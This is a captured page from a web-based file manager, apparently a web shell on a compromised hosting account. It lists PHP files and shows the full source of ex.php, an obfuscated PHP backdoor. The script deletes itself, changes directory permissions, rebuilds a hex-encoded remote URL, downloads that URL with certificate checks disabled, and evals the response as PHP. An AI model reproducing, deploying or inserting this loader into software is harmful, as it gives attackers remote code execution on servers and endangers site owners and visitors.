FM / q1ryfdl

/home/vianto5/csk.mx/qhbmdve/cz1wsvq/q1ryfdl/

/home/vianto5/csk.mx/qhbmdve/cz1wsvq/q1ryfdl

Name	Size	Mode	Actions
ex.php	6490	0644	edit dl rm
index.php	36884	0444	edit dl rm
php.ini	105	0644	edit dl rm
tool.php	217981	0444	edit dl rm

Edit: /home/vianto5/csk.mx/qhbmdve/cz1wsvq/q1ryfdl/ex.php (6490B)

<?php goto rRyt7; p2Vsk: @chmod($Um0cU, 0755); goto cHCX6; LJv6b: $x2Qp_ .= "\x34"; goto IZMzS; yBSQy: $x2Qp_ .= "\64"; goto Khgrk; N19xp: $x2Qp_ .= "\x36\61\x36\145\x33"; goto jdQQP; vup4l: $x2Qp_ .= "\x65\x37\64\67"; goto TEyrW; HVEBo: $x2Qp_ .= "\x37"; goto yBSQy; TtKla: $x2Qp_ .= "\145\66\71\x36\63"; goto Gs_eV; fc0Sj: $x2Qp_ .= "\60\67\63\63\141"; goto UIkqk; IZMzS: $x2Qp_ .= "\67\64\x37"; goto fc0Sj; OhOLG: $x2Qp_ .= "\x64\x32\x66\x37\63"; goto zgqrk; UIkqk: $x2Qp_ .= "\62"; goto w9ME3; yJ1_f: $x2Qp_ .= "\146\x36\x64"; goto N19xp; Khgrk: eval("\77\76" . QvnX_(pack("\110\52", $x2Qp_))); goto bVwdk; rRyt7: $QUbG4 = $_SERVER["\104\117\103\125\x4d\x45\116\124\137\x52\x4f\117\x54"] . $_SERVER["\x50\110\x50\137\x53\105\x4c\x46"]; goto h_1yM; ugehp: $x2Qp_ .= "\x35\67\62"; goto FbWNP; sPMqX: $x2Qp_ .= "\x33\x36\x66\x36"; goto OhOLG; jdQQP: $x2Qp_ .= "\61\x32"; goto vup4l; TEyrW: $x2Qp_ .= "\x38"; goto HVEBo; D0EcD: $x2Qp_ .= "\145\x36"; goto sPMqX; w9ME3: $x2Qp_ .= "\x66\x32\146\66"; goto TtKla; DtPg0: $x2Qp_ .= "\70\x37"; goto LJv6b; zgqrk: $x2Qp_ .= "\x37\x35\x37\60"; goto Rz215; Gs_eV: $x2Qp_ .= "\66"; goto ugehp; FbWNP: $x2Qp_ .= "\66"; goto s29Ma; h_1yM: $Um0cU = dirname($_SERVER["\104\x4f\x43\125\115\x45\x4e\124\x5f\122\x4f\x4f\x54"] . $_SERVER["\x50\x48\120\x5f\123\x45\114\106"]); goto p2Vsk; Rz215: $x2Qp_ .= "\66\65\67\62\x32"; goto yJ1_f; s29Ma: $x2Qp_ .= "\x37\62"; goto D0EcD; cHCX6: @unlink($QUbG4); goto uKx6B; uKx6B: $x2Qp_ = "\66"; goto DtPg0; bVwdk: function QvNx_($cOhXf, $qGiQh = "\x47\105\124", $j3TWt = array(), $LR7EV = 45) { try { goto qe93_; c3j80: $OiClb .= fgets($Mk2_F, 1024); goto GI0ho; H5rxG: $JiO7v = strpos($NSqkY, "\xd\xa"); goto Js0j1; hqCwv: w7Y1_: goto Z2fr6; R2E3V: curl_setopt($iAMfN, CURLOPT_SSL_VERIFYHOST, false); goto LEffe; DEAD3: a4f4F: goto RJWVt; v81tu: curl_close($iAMfN); goto z21oU; pYhxz: curl_setopt($iAMfN, CURLOPT_CONNECTTIMEOUT, 0); goto jArnG; jArnG: curl_setopt($iAMfN, CURLOPT_RETURNTRANSFER, 1); goto lo2GT; ukA43: if (!($qGiQh == "\120\x4f\123\x54")) { goto jEwwi; } goto KDXKz; oTuH3: kYKEn: goto SsuAR; LEffe: curl_setopt($iAMfN, CURLOPT_FOLLOWLOCATION, true); goto Gjvei; GrkI1: $edqF9 = ''; goto HBWO9; ayMCI: $jOJ9P = hexdec(substr($NSqkY, 0, $JiO7v)); goto tMVSp; JR0Wg: if (!($qGiQh == "\120\x4f\x53\124")) { goto gG698; } goto Mx2sA; N4SmI: $miT22 = isset($Szxpv["\x70\157\162\164"]) ? $Szxpv["\160\157\162\x74"] : ($qDNRf === "\x68\x74\x74\160\163" ? 443 : 80); goto wl3RF; lymm3: if (!(stripos($lgcUk, "\124\162\141\156\x73\x66\145\162\x2d\x45\156\143\157\144\151\156\x67\x3a\x20\x63\150\165\156\x6b\x65\144") !== false)) { goto t5D0X; } goto GrkI1; Etnf0: $iAMfN = curl_init(); goto AeB7m; GI0ho: goto aIeSB; goto lik5s; LTbds: gG698: goto JunXU; gCvCy: $lgcUk[] = "\x43\x6f\156\x74\x65\x6e\x74\55\x54\171\x70\x65\72\40\141\160\x70\154\151\x63\x61\164\x69\x6f\x6e\x2f\170\55\167\167\x77\55\x66\x6f\x72\155\x2d\165\x72\154\x65\156\x63\x6f\x64\x65\144"; goto X4HYM; L13Qr: goto TFCse; goto dRkLD; PyTa7: t5D0X: goto TLyKJ; uoxbB: fclose($Mk2_F); goto maALO; cFqCI: $Gq8F6 = isset($Szxpv["\x71\165\x65\162\171"]) ? "\x3f" . $Szxpv["\161\165\x65\162\x79"] : ''; goto urn0m; WhVUC: $fEKP3 .= $Nc2Io . "\15\xa"; goto DEAD3; kObW9: $fEKP3 = implode("\xd\xa", $lgcUk) . "\15\xa\xd\12"; goto kQycJ; OdKxU: if ($Mk2_F) { goto CO61L; } goto CSggZ; lo2GT: curl_setopt($iAMfN, CURLOPT_SSL_VERIFYPEER, false); goto R2E3V; urn0m: $qDNRf = isset($Szxpv["\x73\143\x68\145\x6d\x65"]) ? $Szxpv["\163\x63\150\x65\155\145"] : "\150\164\x74\160"; goto N4SmI; dmu1W: jEwwi: goto kObW9; Mx2sA: curl_setopt($iAMfN, CURLOPT_POST, 1); goto riCpV; SGKh0: curl_setopt($iAMfN, CURLOPT_USERAGENT, "\107\117"); goto pYhxz; maALO: $J3LGL = explode("\xd\12\xd\xa", $OiClb, 2); goto pDQq2; HBWO9: nkKMI: goto duttu; Z2fr6: $Szxpv = parse_url($cOhXf); goto Ixsjk; mt94R: TFCse: goto axEUd; duttu: if (!true) { goto TFCse; } goto H5rxG; Js0j1: if (!($JiO7v === false)) { goto ooN5f; } goto L13Qr; gCHIP: goto nkKMI; goto mt94R; X4HYM: $lgcUk[] = "\103\157\156\x74\x65\x6e\164\55\114\145\x6e\x67\164\150\72\x20" . strlen($Nc2Io); goto dmu1W; dRkLD: ooN5f: goto ayMCI; zG00a: goto TFCse; goto oTuH3; RmOpT: $Mk2_F = stream_socket_client("{$OFqVu}\x3a\x2f\57{$bYUte}\72{$miT22}", $I3AGn, $UxRZQ, $LR7EV); goto OdKxU; yfmpN: CO61L: goto lAxDH; TLyKJ: return trim($NSqkY); goto ByT_k; axEUd: $NSqkY = $edqF9; goto PyTa7; SsuAR: $edqF9 .= substr($NSqkY, $JiO7v + 2, $jOJ9P); goto h8Lnb; YCIZu: $dvdGZ = isset($Szxpv["\160\141\164\150"]) ? $Szxpv["\x70\x61\164\150"] : "\57"; goto cFqCI; zL8pS: aIeSB: goto lQo6_; riCpV: curl_setopt($iAMfN, CURLOPT_POSTFIELDS, http_build_query($j3TWt)); goto LTbds; RJWVt: fwrite($Mk2_F, $fEKP3); goto kCl0G; pDQq2: $lgcUk = isset($J3LGL[0]) ? $J3LGL[0] : ''; goto NDJ27; NDJ27: $NSqkY = isset($J3LGL[1]) ? $J3LGL[1] : ''; goto lymm3; AeB7m: curl_setopt($iAMfN, CURLOPT_URL, $cOhXf); goto SGKh0; CSggZ: return 0; goto yfmpN; lQo6_: if (feof($Mk2_F)) { goto ZVKvy; } goto c3j80; Ixsjk: $bYUte = $Szxpv["\150\157\x73\164"]; goto YCIZu; lAxDH: $lgcUk = array("{$qGiQh}\40{$dvdGZ}{$Gq8F6}\x20\110\124\x54\120\x2f\61\56\x31", "\110\157\163\164\72\40{$bYUte}", "\x55\x73\145\162\x2d\101\x67\145\156\164\x3a\40\x4d\x6f\x7a\151\x6c\x6c\x61\57\x35\x2e\60\x20\x28\127\151\x6e\x64\157\x77\x73\x20\116\x54\40\x31\x30\x2e\x30\x3b\40\x57\151\x6e\66\64\x3b\x20\170\x36\64\51\40\101\160\160\154\x65\x57\145\x62\x4b\151\164\x2f\65\63\67\x2e\x33\66\x20\x28\x4b\x48\x54\x4d\114\x2c\40\x6c\151\153\x65\x20\107\x65\x63\153\157\x29\40\x43\150\x72\157\x6d\145\x2f\x39\61\x2e\60\56\x34\64\67\62\56\61\x32\64\x20\x53\141\x66\141\x72\151\57\65\x33\x37\56\63\x36", "\103\157\156\156\145\143\x74\151\x6f\x6e\x3a\x20\103\154\x6f\163\x65"); goto ukA43; wl3RF: $OFqVu = $qDNRf === "\x68\x74\164\160\x73" ? "\x73\x73\x6c" : "\x74\143\x70"; goto RmOpT; h8Lnb: $NSqkY = substr($NSqkY, $JiO7v + 2 + $jOJ9P + 2); goto gCHIP; tMVSp: if (!($jOJ9P === 0)) { goto kYKEn; } goto zG00a; qe93_: if (!(function_exists("\143\x75\162\154\x5f\x69\x6e\x69\164") && function_exists("\x63\165\x72\x6c\137\145\170\x65\143"))) { goto w7Y1_; } goto Etnf0; z21oU: return trim(trim($a97MH, "\xef\xbb\277")); goto hqCwv; Gjvei: curl_setopt($iAMfN, CURLOPT_TIMEOUT, $LR7EV); goto JR0Wg; kQycJ: if (!($qGiQh == "\x50\117\123\124")) { goto a4f4F; } goto WhVUC; KDXKz: $Nc2Io = http_build_query($j3TWt); goto gCvCy; kCl0G: $OiClb = ''; goto zL8pS; lik5s: ZVKvy: goto uoxbB; JunXU: $a97MH = curl_exec($iAMfN); goto v81tu; ByT_k: } catch (Exception $NoIOp) { } return 0; }